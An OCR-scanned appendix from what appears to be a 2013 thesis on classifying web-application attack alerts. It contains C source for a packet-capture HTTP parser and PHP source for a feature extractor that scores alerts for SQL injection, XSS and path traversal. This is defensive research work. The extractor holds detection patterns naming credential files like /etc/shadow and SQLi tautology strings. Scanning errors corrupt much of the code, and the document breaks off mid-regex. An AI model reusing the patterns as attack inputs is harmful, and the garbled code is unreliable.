const struct sniff_tcp *tcp; /* The TCP header x/
const char *xpayload; /* Packet payload */

int size_ip;

int size_tcp;

int size_payload;
int http_type;

printf("\nPacket number %d:\n", count);
count++;

/* define ethernet header x/
ethernet = (struct sniff_ethernetx) (packet);

/* define/compute ip header offset *x/

ip = (struct sniff_ipx) (packet + SIZE_ETHERNET);

size_ip = IP_HL(ip)*4;

if (size_ip < 20) {
printf(" % Invalid IP header length: %u bytes\n", size_ip);
return;

b
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/* print source and destination IP addresses */
printf(" From: %s\n", inet_ntoa(ip—>ip_src));
printf(" To: %s\n", inet_ntoa(ip->ip_dst));

/* determine protocol *x/
switch(ip—>ip_p) {
case IPPROTO_TCP:
printf(" Protocol: TCP\n");
break;
case IPPROTO_UDP:
printf(" Protocol: UDP\n");
return;
case IPPROTO_ICMP:
printf(" Protocol: ICMP\n");
return;
case IPPROTO_IP:
printf(" Protocol: IP\n");

return;
default:

printf(" Protocol: unknown\n");
return;

}

/%

* 0K, this packet is TCP.

*/

/* define/compute tcp header offset *x/
tcp = (struct sniff_tcpx) (packet + SIZE_ETHERNET + size_ip);
size_tcp = TH_OFF(tcp)x*4;
if (size_tcp < 20) {
printf(" * Invalid TCP header length: %u bytes\n", size_tcp);
return;

b

printf(" Src port: %d\n", ntohs(tcp->th_sport));
printf(" Dst port: %d\n", ntohs(tcp->th_dport));
/* define/compute tcp payload (segment) offset %/
payload = (u_char %) (packet + SIZE_ETHERNET + size_ip + size_tcp);

/* compute tcp payload (segment) size x/
size_payload = ntohs(ip->ip_len) - (size_ip + size_tcp);

/*
* Print payload data; it might be binary, so don't just
* treat it as a string.
*/
if (size_payload > 0) {
printf("  Payload (%d bytes):\n", size_payload);
print_payload(payload, size_payload);
/* check if http request or response x/
http_type = check_http(payload, size_payload);
if (http_type != NO_HTTP) {
if (http_type == HTTP_REQ) printf("HTTP Request msg

found!!\n");
if (http_type == HTTP_RES) printf("HTTP Response msg
found!!\n");

/* parse all parts of the http message */
parse_http(payload, size_payload, http_type);
}
}
return;

b
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int
check_http(const char xpayload, int len)
{
int http_type = NO_HTTP;
char x pch;
char x pch2;
char strpart([5]; //teststring to find "HTTP"
if (strlen((char *)payload) > 8) {
if (strncmp(payload,"HTTP", 4) == @) http_type = HTTP_RES;
else {
/* if not a HTTP response, check if HTTP request, */
/* so first line must end with HTTP version */
pch = strstr(payload, "\r\n");
if (pch == NULL) {
/* try ending '\n\n' even though non-compliant to standard, */
/* because sometimes used in scans x/
pch = strstr(payload, "\n\n");
if (pch !'= NULL) {
printf("CRCR found at %d!!!\n", pch-payload+1);
pch2 = strstr(payload, "\n");
if (pch2 != NULL && pch2 < pch) pch = pch2;
}
else {
/* try ending '\n' even though non-compliant to standard, */
/* because sometimes used in scans */
pch = strstr(payload, "\n");
}
¥
if (pch != NULL) {
printf("CRLF found at %d!!\n", pch-payload+1);
strncpy(strpart, pch-8, 4);
if (strncmp(strpart,"HTTP", 4) == @) http_type = HTTP_REQ;
else {
strncpy(strpart+4, "", 1);
printf('no HTTP found but: %s", strpart);
}
}
}
}
return http_type;
}
void
parse_http(const char xpayload, int len, int type)
{
int pos = 0; /* relative position in tcp payload data *x/
char x pch; /* pointer to position in tcp payload data */
char x pch2;
char x line; /* one line in the http message */

int linenr = 0; /* keeps track of number of lines dealt with x/

FILE xfp, *xfpb;

char fnw[50], fnb[50], fn[50]; /% file name to write to */

int 1i,j,k;

char alertid[10];

char x param;

char x pfn;

int param_end = FALSE; /% whether end of request query parameter is found

*/

int uncompliant = FALSE;

int singleend = FALSE; /% if line ending is CR iso CRLF */

const char xhtml_entity[15] = {"quot", "apos", "amp", "1t", "gt", "nbsp",
||C0py||’ "-l.aqUO”, ||raqu0||’ ||n0.t||’ "times",
"divide", "Tab", "NewLine", '"colon"};

const int html_entity_codes = 15;

line = malloc(100);

60



Attack classification of web application alerts - Appendix A. HTTP parser source code

strncpy(fnw, pcapfile, strlen(pcapfile));
strncpy(fnw+strlen(pcapfile)-5, ".pars", 5);
fnw[strlen(pcapfile)]l= '\0"';
fp = fopen(fnw, "ab");
if (fp == NULL) {
fprintf(stderr, "file <%s> could not be opened for writing,
quitting..\n",

fnw);
exit(0);
¥
/* add alertid, only once at beginning of file %/
if (ftell(fp) == 0) {
strncpy( alertid, "0\0", 2);
j =0
for (i=0; i<strlen(pcapfile); i++) {
/* check if numeric */
if (pcapfilel[i] >= 48 && pcapfilel[i] <= 57) {
strncpy(alertid+j, pcapfile+i, 1);
j++;
}
¥
alertid[jl="\0";
fprintf(fp, "alertid: %s\n", alertid);
¥

pch = strstr(payload+pos, "\r\n");
if (pch == NULL) {
/* try ending '\n\n' even though non-compliant to standard, */
/* because sometimes used in scans x/
pch = strstr(payload+pos, "\n\n");
if (pch !'= NULL) {
pch2 = strstr(payload+pos, "\n");
if (pch2 < pch) {

pch = pch2;
singleend = TRUE;
}
}
else {

pch = strstr(payload+pos, "\n");
if (pch !'= NULL) singleend = TRUE;

if (pch !'= NULL) {

uncompliant = TRUE;

printf("uncompliant request ending CRCR/CR found!\n");
}

}
while (pch !'= NULL && (pch-(payload+pos)) != 0) {
line = realloc(line, pch-(payload+pos)+1);
strncpy(line, payload+pos, pch-(payload+pos) );
line[pch-(payload+pos)] = '\0"';
printf("request line %d: %s\n'", linenr, line);
if (linenr == @) { //first line is the request/response line
if (type == HTTP_RES) {
fprintf(fp, "type: Response\n");
fprintf(fp, "responseline: %s\n", line);
¥
if (type == HTTP_REQ) {
fprintf(fp, "type: Request\n");
fprintf(fp, "requestline: %s\n", line);
for (i=0; i<strlen(line); i++) {
if (line[i] == '?") {
/* parameters follow *x/
/* make sure enough memory is reserved for parameters x/
param = malloc(strlen(line));
i++;
while (line[i] != 32) { /* space is end of query x/
j=0;
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/* param name until '=' normally, *x/

/* sometimes only value is given *x/

while(line[i] !'= 61 && line[i] != 38 && line[i] != 32) {
param[j] = linelil;

i++; j++;
}
param[j] = '\0@';
if (linel[i] == 61) {
/x after '=' comes value, *x/

/* otherwise it was the value already *x/
/* not the parameter name *x/
fprintf(fp, "parameter: %s = ", param);
j=0; i++;
param_end = FALSE; //until proven TRUE
while(param_end == FALSE){
/* parameter value until '&' or space */
while(line[i] !'= 38 && linel[i] != 32) {
param[j] = line[il;
14+ j++;

if (linel[i+1] != 35) {
param_end = TRUE;
for (k=0; k<html_entity_codes; k++) {
if (strncmp(line+i+1, html_entityl[k],
strien(html_entity[k])) == 0) {
param_end = FALSE;
param[j]l = line[il;
i++; j++;
k = html_entity_codes;
}
}
}
else {
param[j]l = line[il;
i++; 445
}
b
param[j] = '\0@';

else {
/* write parameter keyword without parameter name, */
/* because there is none! *x/
fprintf(fp, "parameter: = ");
}
fprintf(fp, "%s\n", param);
if (line[i] == 38) i++; /* skip '&' to get to next parameter

by

free(param);

*/

¥
¥
¥
if (uncompliant) {
fprintf(fp, "crending: true\n");
uncompliant = FALSE;
¥
¥
else { //else it should be a header
fprintf(fp, "header: %s\n", line);
if (uncompliant) {
fprintf(fp, "crending: true\n");
uncompliant = FALSE;
¥
¥
/* skip de '\r\n' to get to new line beginning x/
if (!singleend) pos += pch-(payload+pos)+2;
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else {
/* skip de '\n' to get to new line beginning */
pos += pch-(payload+pos)+1;
singleend = FALSE;
}
printf("new position = %d\n", pos);
linenr++;
pch = strstr(payload+pos, "\r\n");
if (pch == NULL) {
/* try ending '\n\n' even though non-compliant to standard, */
/* because sometimes used in scans x/
pch = strstr(payload+pos, "\n\n");
if (pch !'= NULL) {
pch2 = strstr(payload+pos, "\n");
if (pch2 < pch) {

pch = pch2;
singleend = TRUE;
}
}
else {

pch = strstr(payload+pos, "\n");
if (pch !'= NULL) singleend = TRUE;

¥
if (pch !'= NULL) uncompliant = TRUE;
¥
}
printf("len - pos = %d - %d = %d\n", len, pos, len-pos);
if (len - pos >0) {
/* otherwise it is just the message ending */
if (!(strncmp(payload+pos,”\r\n", 2) == 0 && len - pos ==2)) {
if (type == HTTP_REQ || type == HTTP_RES) {
strncpy(fnb, fnw, strlen(fnw)+1);
if (type == HTTP_REQ) strncpy(fnb+strlen(fnw)-5, ".rqgbd", 5);
if (type == HTTP_RES) strncpy(fnb+strlen(fnw)-5, ".rsbd", 5);
/* only copy the filename, not the foldername */
if (strrchr(fnw,'/')!= NULL) pfn = strrchr(fnw,'/"')+1;
else pfn = fnw;
strncpy(fn, pfn, strlen(fnw)+1);
if (type == HTTP_REQ) strncpy(fn+strlen(pfn)-5, ".rqgbd", 5);
if (type == HTTP_RES) strncpy(fn+strlen(pfn)-5, ".rsbd", 5);
printf("bodyfile: %s (fnlength:%d), pars—file: %s (fnlength:%d)\n",
fnb, strlen(fnb), fnw, strlen(fnw));

}
else {
fprintf(stderr, "bodyfile not opened because msg type unknown,
quitting..\n");
exit(0);
¥

fpb = fopen(fnb, "ab");
if (fpb == NULL) {
fprintf(stderr, "file <%s> could not be opened for writing,
quitting..\n", fnb);

exit(0);
}
/* header part should be ended with \r\n *x/
if (strncmp(payload+pos,”\r\n", 2) == 0) {
fprintf(fp, "body: %s\n",fn);
fwrite(payload+pos+2, 1, len-pos-2, fpb);
}
else {

fprintf(fp, "error: http message body does not comply to
standard\n");
fprintf(fp, "errdata: %s\n",fn);
fwrite(payload+pos, 1, len-pos, fpb);
}
fclose(fpb);
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¥
else {
fprintf(fp, "no_body \n");

¥
}
else {

fprintf(fp, "no_body \n");
b

fprintf(fp, "eom \n\n");
fclose(fp);
return;

int main(int argc, char sxargv)

{
char xdev = NULL; /* capture device name x/
/* default is live capture, *x/
/* alternative is PCAP_OFFLINE from pcap file */
int capture = PCAP_LIVE;
char errbuf[PCAP_ERRBUF_SIZE]; /* error buffer x/
pcap_t xhandle; /* packet capture handle *x/
/* default filter expression [3] for parsing http messagesx/
char filter_exp[] = "tcp port 80";

struct bpf_program fp; /* compiled filter program (expression) x/
bpf_u_int32 mask; /* subnet mask x/

bpf_u_int32 net; /% ip */

int num_packets = -1; /* number of packets to capture */

print_app_banner();

/* check for capture device name on command-line */
if (argc == 2) {
dev = argv[1];
}
else if (argc == 3) {
dev = argv[1];
pcapfile = argv[2];
capture = PCAP_OFFLINE;

else if (argc > 3) {
fprintf(stderr, "error: unrecognized command-line options\n\n");
print_app_usage();
exit (EXIT_FAILURE);
}
else {
/* find a capture device if not specified on command-line */
dev = pcap_lookupdev(errbuf);
if (dev == NULL) {
fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
exit (EXIT_FAILURE);
}
}

if (capture == PCAP_OFFLINE) {
handle = pcap_open_offline(pcapfile, errbuf);

}
else {
/* get network number and mask associated with capture device *x/
if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
fprintf(stderr, "Couldn't get netmask for device %s: %s\n",
dev, errbuf);
net = 0;
mask = 0;
}
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/* print capture info x/

printf("Device: %s\n", dev);

printf("Number of packets: %d\n", num_packets);
printf("Filter expression: %s\n", filter_exp);

/* open capture device x/

handle = pcap_open_live(dev, SNAP_LEN, 1, 1000, errbuf);

if (handle == NULL) {
fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
exit (EXIT_FAILURE);

}

/* make sure we're capturing on an Ethernet device [2] x/
if (pcap_datalink(handle) != DLT_EN1@MB) {
fprintf(stderr, "%s is not an Ethernet\n", dev);
exit (EXIT_FAILURE);
}
}
/* compile the filter expression */
if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
fprintf(stderr, "Couldn't parse filter %s: %s\n",
filter_exp, pcap_geterr(handle));
exit (EXIT_FAILURE);
}

/* apply the compiled filter *x/
if (pcap_setfilter(handle, &fp) == -1) {
fprintf(stderr, "Couldn't install filter %s: %s\n",
filter_exp, pcap_geterr(handle));
exit (EXIT_FAILURE);
¥

/* now we can set our callback function *x/
pcap_Lloop(handle, num_packets, got_packet, NULL);

/* cleanup *x/
pcap_freecode(&fp);
pcap_close(handle);
printf("\nCapture complete.\n");

return 0;

b
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Appendix B. Feature Extractor source code

800 IDS attack features extractor

(<> [+ % 127001

3 escer 1

IDS: Analysis of attack features

Home About Extract Bayes Test

Extract attack features

Extract Features from dataset

Debug info:

extractFeatures() started at 13:09:54
php version: 5.3.1

analyze file: id1000.pars

attackclass=sqli

param:Speciaal:Aanmelden taut:0 quer:0 patt:0

param:submitlogin taut:0 quer:0 patt:0

param:login taut:0 quer:0 patt:0

param:Hoofdpagina taut:0 quer:0 patt:0

param:User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101
Firefox/16.0 taut:0 quer:0 patt:0

param:Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 taut:0 quer:0
patt:0

param:Accept-Language: en-US,en;q=0.5 taut:0 quer:0 patt:0
param:Proxy-Connection: keep-alive taut:0 quer:0 patt:0

param:Referer: http://wiki.seclab.nl/index.php?title=Speciaal: nto=F
taut:0 quer:0 patt:0

param:Cookie: wikidb_session=1b11934c15f06f2fb8c1f2a2710f587¢ taut:0 quer:0 patt:0

param:Content-Type: application/x-www-form-urlencoded taut:0 quer:0 patt:0
param:Content-length: 87 taut:0 quer:0 patt:0

Copyright 2013 Casper Schellekens

Navigation

Home

Extract Features
Bayesian network
Test dataset

Account

Login/Register
Logout

Figure. User interface of the feature extractor tool

Class_features.php:

<?php
const REQTYPE
const RESTYPE

'Request’;
'Response’;

class AttackFeatures {
// property declarations: attack features for XSS
public $urllength = 0;
public $urlencodingsextra = 0;
public $doubleencodings = 0;
public $unicode = 0;
public $htmlentitycodes = 0;
public $bas64encodings = 0;
public $hexcodes = 0;
public $maxparamlength = 0;
public $maltags = 0;
public $susppatterns = 0;
public $malmethods = 0;
public $maleventhandlers = 0;
public $malobjects = 0;
public $httpversion = '1.1"';
public $statuscode = '?';

// Request method values: GET, POST, OPTIONS, HEAD, PUT, DELETE, TRACE,

// CONNECT, PATCH, WebDAV, Invalid}
public $requestmethod = '?';

public $tautologies = 0;

public $sqlqueries = 0;

public $sqlipatterns =
public $nonprintable
public $pathtraversals

0;
0;
= 0;
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public $iphost = 'false';
public $wronghost = 'false';
public $nocrilfend = 'false';
public $alertid = '?';
public $attackclass = '?';

} // end of class Features
class HttpMsgParsed {

// headers, query parameters from http request or response
public $alertid = 0;

public $attackclass = '?';

public $httpversion = '1.1'; // HTTP version: 1.0 or 1.1

public $type; // HTTP message type: Request or Response
public $requestline; // HTTP request line

public $urllength;

public $responseline; // HTTP response line

public $method; // HTTP request method: GET, POST, etc.
public $statuscode = '?'; // HTTP response status code

public $paramvals = array(); // Query parameter values

public $headers = array(); // HTTP message headers

public $postparams = array(); // Post parameters

public $requestbody; // HTTP request message body

public $responsebody; // HTTP response message body

// requestline and headers should end with CRLF ('\n\r'),

// scanners and malware might be uncompliant

public $nocrlfend = 'false';

public $rfcerror = 'false'; // data was not compliant to HTTP standard

b

7>

class_extractor.php:

<?php
include('class_features.php');

class Extractor {
// property declarations
private $basepars = 'datal/’';
private $basearff = 'arff/';
// file names for .pars file and arff file to resp. read and write
private $fnr, $fnw;
// file handles for .pars file and arff file to resp. read and write
private $fhr, $fhw;
private $ext = "pars";

public function extractFeatures() {
$retval = 0;
$exclude_list = array(".", "..");
$dir_list;
$file;

//date_default_timezone_set('UTC');
set_time_limit(0);
date_default_timezone_set('Europe/Amsterdam');

$_SESSION['debug'] .= "extractFeatures() started at "
.date('H:i:s')."\n";
$_SESSION['debug']l .= "php version: " . phpversion() . "\n";

self::createArff();
$dir_list = array_diff(scandir($this—>basepars), $exclude_list);
foreach ($dir_list as $file) {
$pi = pathinfo($this—>basepars.$file);
if (is_file($this—>basepars.$file) &&
$pil'extension'] == $this—>ext) {
$reqmsg = new HttpMsgParsed();
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$resmsg = new HttpMsgParsed();
$feat = new AttackFeatures();

$this—>fnr = $file;

$_SESSION['debug'l .= "\nanalyze file: "
self::readParsFile($file, $regmsg, $resmsg);

. $file .

Il\nll;

// Buffer Overflows were taken out of the experiment

// because of low occurrence rate.
if ($regmsg—>attackclass != 'bufferoverflow') {

self::getAttackFeatures($regmsg, $resmsg, $feat);

self::writeToArff($feat);

¥
else {
$_SESSION['debug']l .= "bufferoverflow: skipped because
"left out of the experiment\n";
¥

b
b
$_SESSIONI['debug'l]

.= "extractFeatures() done at ".
date('H:i:s"')

. Il\nll;

$fh = fopen('arff/debug.txt', 'w') or
die('Cannot open file: arff/debug.txt');

$data =
fwrite($fh, $data);
fclose($fh);

return $retval;

$_SESSION['debug'l;

} // end of method extractFeatures()

private function writeToArff($feat) {
fopen($this—>fnw, 'a’
die('Cannot open file: '

non
)y =

$this—>fhw =

$data = $feat->urllength .

$feat->urlencodingsextra . ",
$feat->doubleencodings .

a') or
$this—>fnw);

non
y v

$feat->unicode . ",

$feat—>htmlentitycodes .
$feat—>bas64encodings . ",
$feat—->hexcodes . ",
$feat->maxparamlength . ",

non
)y =

$feat->maltags .

$feat->susppatterns .

$feat—>malmethods .

$feat—>maleventhandlers .

$feat—>malobjects .

$feat->httpversion .

$feat—->statuscode .

$feat—>requestmethod .
$feat->tautologies .

$feat—>sqlqueries .

$feat->sqlipatterns .
$feat—>nonprintable .
$feat—>pathtraversals .
$feat—>iphost . ",".

non
)y =

$feat->wronghost .
$feat—>nocrlfend .
$feat—>alertid .

$feat—>attackclass .
. $feat—=alertid .

o, 1
%

fwrite($this—>fhw, $data);
fclose($this—>fhw);
}

non
y v
non
.
n
.

non
y =
non
y »
non
)y =
non

’

non

y =
non

y »

non

y =
non
y =
non

y »

non

y =
non

y =
non

)y =

non
)y =

non
)y =

Il\nll .
Il\nll;

private function readParsFile($f, &$reqmsg, &$resmsg) {

”n
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$retval = 0;
// each line in pars file starts with a keyword
// (except for the body, that can run over multiple lines)

$keyword;

$type;

$class;

//$_SESSION['debug'] .= "readParsFile() has started\n";

$this—>fhr = fopen($this->basepars.$f, "r") or
die("cannot open file: " . $f);

while (!feof($this—>fhr)) {
$line = fgets($this->Fhr);
//$_SESSION['debug'] .= "line: ".$line;
$keyword = strstr($line, " ", true);
switch ($keyword) {
case "alertid:":
$regmsg—>alertid
$resmsg—>alertid
break;
case "type:":
$type = trim(strstr($line, " ", false));
if ($type == REQTYPE) $regmsg—>type = $type;
if ($type == RESTYPE) $resmsg—>type = $type;
break;
case "requestline:":
$regmsg->requestline = trim(strstr($line, " ", false));
$method = trim(strstr($regmsg—>requestline, " ", true));
$httpversion = trim(strstr(trim(strstr($regmsg—>requestline,
", false)), " ", false));
$regqmsg—>urllength = strlen(trim(strstr(trim(strstr(

intval(strstr($line, " ", false))
intval(strstr($line, " ", false))

$reqmsg->requestline, " ", false)), " ", true)));
$regmsg->httpversion = trim(strstr($httpversion, "/", false),
II/II);
if ($regmsg->httpversion != "1.0" &&
$regmsg—>httpversion != "1.1") {
$regmsg->httpversion = "other";

switch ($method) {

case "GET":
case "POST":
case "OPTIONS":
case "HEAD":
case "PUT":
case "DELETE":
case "TRACE":
case "CONNECT":
case "PATCH":
$regmsg->method = $method;
break;

case "PROPFIND":
case "PROPPATCH":

case "MKCOL":
case "COPY":
case "MOVE":
case "LOCK":
case "UNLOCK":
$regmsg->method = "WebDAV";
break;
default:
$regmsg->method = "Invalid";
b
break;
case "responseline:":
$resmsg->responseline = trim(strstr($line, " ", false));
//skip http version part
$skipped = trim(strstr($resmsg—>responseline, " ", false));
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if (preg_match("/\d+/", $skipped, $matched) == 1) {
$resmsg—>statuscode = $matched[0];

break;
case "parameter:":
if ($type == REQTYPE) {
$regmsg->paramvals[] = trim(strstr($line, "=", false),
11} :\nll);
b
break;
case "header:":
if ($type == REQTYPE) {
$regmsg->headers[] = trim(strstr($line, " ", false));
// also list header as input parameter so it can be
// evaluated for attack features

$reqmsg->paramvals[] = trim(strstr($line, " ", false));
b
if ($type == RESTYPE) $resmsg—>headers[] = trim(strstr($line,
", false));

if (strstr($line, "Referer") != FALSE || strstr($line,
"Origin") != FALSE) {
¥

break;
case "attackclass:":
$class = trim(strstr($line, " ", false));
//$_SESSION['debug'] .= "attack class: ". $class . "\n";
if ($class == 'xss') {
$regmsg—>attackclass = 'xss';
//$reqmsg—>attackclass = 'other';

else if (strstr($class, "sql") != false) {
$regmsg—>attackclass = 'sqli';
//$reqmsg—>attackclass = 'other';

else if ( (strstr($class, "path") !'= false) ||
(strstr($class, "pt")!=false) ) {
$regmsg—>attackclass = 'pathtraversal';
//$reqmsg—>attackclass = 'other';

else if (strstr($class, "buffer") != false) {
$regmsg—>attackclass = 'bufferoverflow';
//$reqmsg—>attackclass = 'other';

else if (strstr($class, "scan") != false) {
$regmsg—>attackclass = 'scan';
//$reqmsg—>attackclass = 'other';

else if (strstr($class, "password") != false) {
$regmsg—>attackclass = 'other';

else if (stristr($class, "rfi") != false) {
$regmsg—>attackclass = 'other';

else if (strstr($class, "exploit") != false) {
$regmsg—>attackclass = 'other';

else if (strstr($class, "probe") != false) {
$regmsg—>attackclass = 'other';

else if (strstr($class, "unknown") != false) {
$regmsg—>attackclass = 'other';

else if ( (strstr($class, "cmdi") != false) ||

(strstr($class, "ci")!=false) ) {

$regmsg—>attackclass = 'other';
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else {
$regmsg—>attackclass = 'other';

$_SESSION['debug']l .= "attackclass=" . $reqmsg->attackclass .
Il\nll;
break;
case "crending:":
$regmsg—>nocrifend = 'true';
break;
case "errdata:":
if ($type == REQTYPE) $regmsg—>rfcerror "true';
if ($type == RESTYPE) $resmsg—>rfcerror = 'true';
// no break because body still has to be handled
case "body:":
$fnb = trim(strstr($line, " ", false));
if ($fhb = fopen($this—>basepars.$fnb, "rb")) {
$content = fread($fhb, filesize($this—>basepars.$fnb));
if ($type == REQTYPE) {
$regmsg->requestbody = $content;
if ($regmsg->method == 'POST') {
self::parsePostParams($reqmsg);
}
}

else if ($type == RESTYPE) {
$resmsg->responsebody = $content;

else {
$_SESSION['debug'l .= "ERROR in alert ".
$parsmsg—>alertid. ": BODY FOUND BEFORE MSG TYPE” .
“IS DEFINED\n";
}
break;
}
else {
$_SESSION['debug'] .= "Body file <".
$this—>basepars.$fnb ."> cannot be opened\n";
}
break;
case "eom":
break;
default:
break;
}
}
fclose($this—>fhr);
return $retval;
} // end of method readParsFile()

private function parsePostParams(&$reqmsg) {
$paramname;
$done = false;
$value;
$rest = $regmsg—>requestbody;
while ($done == false) {
$paramname = strstr($rest, "=", true);
if ($paramname != false) {
$paramname = trim($paramname);
$rest = trim(strstr($rest, "=", false), "= \t\n\r\0\x0B");
$value = strstr($rest, "&", true);
if ($value != false) {
$reqmsg->paramvals[] = trim($value);
$rest = trim(strstr($rest, "&", false), "& \t\n\r\0\xeB");
}
else {
// last parametervalue, parse and exit loop
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if (trim($rest) '="") {
$regmsg—>paramvals[] = trim($rest);

$done = true;

}
}
else {
$value = strstr($rest, "&", true);
if ($value != false) {
// seems that we have a value without a param name,
// store as value to be analyzed
if (trim($value) '= "") {
$regmsg->paramvals[] = trim($value);
$rest = trim(strstr(¢$rest, "&", false), "= \t\n\r\0\xeB");
}
else {
// no standard delimiters, store (rest of) request body
// as a param value to be analysed, and exit loop
if (trim($rest) !="") {
$regmsg->paramvals[] = trim($rest);
$done = true;
}
}
}
b
private function getAttackFeatures(&$reqmsg, &$resmsg, &$feat) {
$retval = 0;
$input;

$feat—>urllength = $regmsg—>urllength;
$feat—>alertid = $regmsg—->alertid;
$feat—>attackclass = $regmsg—>attackclass;
$feat—>requestmethod = $regmsg—>method;
$feat—>nocrifend = $regmsg->nocrlfend;
$feat—>httpversion = $regmsg—>httpversion;
$feat—>statuscode = $resmsg—>statuscode;

$index = 0;
foreach ($regmsg->paramvals as $param) {
$i=0;

$param_length = strlen($param);

if ($param_length > $feat—>maxparamlength) {
$feat->maxparamlength = $param_length;
if ($feat—>alertid==26493) $_SESSION['debug'] .=

"LONGEST 1d26493 param: " . $param;

}

// normalizing parameter, more than one round if needed,

// untill stable

while ($param != $input && $i<10) {
$input = $param;
$feat—>doubleencodings += self::findDoubleEncodings($param);
$feat—>urlencodingsextra +=

self::findExtraUrlEncodings($param, $reqmsg);

$feat->unicode += self::findUnicode($param);
$feat—>htmlentitycodes += self::findHtmlEntityCodes($param);
$feat—>hexcodes += self::findHexcodedPrintable($param);
$i++;

}

// remove tabs, carriage returns, line feeds, etc.

$cleaned = self::cleanParameter($param);

if (strlen($cleaned) > 0) {
// look for html tags: <script>, <javascript>, <iframe>, <meta>,
// <div>; and properties: href, http-equiv, lowsrc
$feat->maltags += self::findMalTags($cleaned);
// look for suspicious text patterns like: xss, <<, <'"<<, root,
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// passwd, banking, hacker, evil
$feat—>susppatterns += self::findSuspXssPatterns($cleaned);
// suspicious javascript methods: fromCharCode, alert, write,
// getElementsByTagName, eval
$feat—>malmethods += self::findMalMethods($cleaned);
$feat->maleventhandlers += self::findMalEventHandlers($cleaned);
// DOM objects: Windows, Location, Document; DOM object
// properties: Cookie, Referrer, InnerHtml
$feat—>malobjects += self::findMalObjects($cleaned);
//find indications of tautologies like 'or 1=1
$feat—>tautologies += self::findSqliTautologies($cleaned);
//find sql keywords and query structures
$feat—>sqlqueries += self::findSqlQueries($cleaned);
//find sql patterns indicating malicious behaviour
$feat—>sqlipatterns += self::findSqliPatterns($cleaned);
$feat—>pathtraversals += self::findPathTraversals($cleaned,
$reqmsg) ;
}
//find non printable characters in normalized (decoded) parameter
$feat—>nonprintable += self::findNonPrintable($param);
if (stripos(trim($param), "Host:") !== false){
$ip_address = 'false';
$feat—>wronghost = self::checkHostHeader($param, $ip_address);
$feat—>iphost = $ip_address;

¥

//$_SESSION['debug'] .= "#cycles done to normalize parameter: " .
// $i . "\n";
$index++;

b

return $retval;

} // end of method getAttackFeatures()

private function checkHostHeader($p, &$ip_address){

}

$retval = 'false';
$dummy = array();
$count = preg_match_all('@\b(?:(?:25[0-5]|2[0-4]1[0-9]|[01]?[0-9]

[0-9]1?)\.){3}(?:25[0-5] |2[0-4] [0-9] | [01] >
[0-9] [0-9]?)\b@', $p, $dummy);
if ($count == 1){ //test for ip_address
$ip_address = 'true';
//check if ip-address is correct (88.159.9.131)
if (preg_match_all('@88\.159\.9\.131@"', $p, $dummy) != 1){
$retval = 'true';
¥
¥

elseif (preg_match_all('@wiki\.seclab\.nl|www\.seclab\.nl@', $p,
$dummy) != 1){
$retval = 'true';

b

return $retval;

private function findPathTraversals($c, $m) {

//pre: string is cleaned from tabs, newlines etc.
$retval = 0;

$score = 0

$dummy = array();
$matches = array();
$slash_and_dotless = "";

//calculate relative amount of pt patterns ../ or ..\ in param value
$score = preg_match_all('@\.+/|\.x\\\\@', $c, $dummy);

//$score = preg_match_all('@\.\./|\.\.\\\\@', $c, $dummy);

//also take the special (undecoded) utf encodings into account
$score += preg_match_all('@\.\.%u@i', $c, $matches);
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$temp = round(($score / (strlen($c) / 3)) x 100);
$retval += $temp;
//remove (back)slashes and '.' for further relative counting
// of features
$slash_and_dotless = preg_replace('@[/\.\\\\]l@',"'"',$c, -1, $count);
//calculate percentage of patterns in parameter value relative to
//slash_and_dotless param
$score = preg_match_all('@C:\\\\|C:/|inetpub|wwwroot|/var/www@i', $c,
$matches); //look for root folders
if ($score > 0) {
$temp = round(( strlen($matches[0][0]) /
(strlen($slash_and_dotless)+1) ) * 100);
$retval += $temp;

}
if ($score > @) $_SESSION['debug'l .= "pt's s2 relative score: ".
$temp . " from (1st match): " . $matches[0][0] . "\n";

//also take absolute paths for linux systems
$score = preg_match_all('@/etc|etc/|/etc/paswd|/etc/shadow|
/user|user/|/s?bin|s?bin/|/usr|usr/|/lib|1ib/|/home|home/ |
/var|var/|/mnt|mnt/|/dev|dev/@i', $c, $matches);
if ($score > 0) {
//plus 1 to compensate for a slash in the pattern
$temp = round(( strlen($matches[0][0]) /
(strlen($slash_and_dotless)+1) ) * 100);
$retval += $temp;
¥

//look for just a filename in root: root folder plus some indication
//of following file
$score = preg_match_all('@™(/|C:\\\\).{1,20}[/\\\\\.]@i', $c,
$matches); //look at start of param only
if ($score > 0) {
// patternlenght relative to whole parameter length
$temp = round( (strlen($matches[0]1[0]) / strlen($c) ) x 100);
$retval += $temp;
}
return $retval;
} // end of method findPathTraversals()

private function findNonPrintable($p) {
// pre: string is not cleaned from any special characters,
// e.g. vertical tabs etc.
$retval = 0;
$dummy = array();

$retval += preg_match_all('/[\x00-\x08\x0B\Xx@C\XxOE-\x1F\x7F-\xFF]/u",
$p, $dummy);
return $retval;
} // end of method findNonPrintable()

private function findSqliPatterns($c) {
// pre: string is cleaned from tabs, newlines etc.
$retval = 0;
$matches = array();

$r = preg_match_all('@(password]|user.?name|admin|null).x(#|--)@"', $c,
$matches);

$retval += $r;

// find /x/ or /xkxxx/ and /*x comment x/, non-greedy (.+? vs .+) to

// find multiple patterns iso largest pattern

$r = preg_match_all('@(/\x+?/|/\*x.+?\*x/)@"', $c, $matches);

//if ($r > @) $_SESSION['debug'l .= "1st pattern s2: ".

//$matches[0] [@]. "\n";
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$retval += $r;

$r = preg_match_all('@CONCAT\( |waitfor delay|pg_|sp_|substring\ (|
user\(\) | row_count\(|schema\(|benchmark\(@i', $c, $matches);

$retval += $r;

$d = preg_replace('/ /',"'',$c, -1, $count); //remove all spaces
if (strlen($d) < 16) { //check for short blind sqli such as ';
//count number of sqli special chars
$r = preg_match_all('@[\'=#\;1|(/\*x)|(--)@', $d, $matches);
// if over 40% of parameterlength special chars then count number
// of special chars
if ( ($r / strlen($d)) > 0.4) {
//$_SESSION['debug'] .= "1st pattern s4: ". $matches[0][0].
//Il\nll;
$retval += $r;
¥
¥
return $retval;
} // end of method findSqliPatterns()

private function findSqlQueries($c) {
//pre: string is cleaned from tabs, newlines etc.
$retval = 0;
$matches = array();

$r = preg_match_all('@UNION|SELECT +COUNT |DISTINCT |SELECT.+FROM |
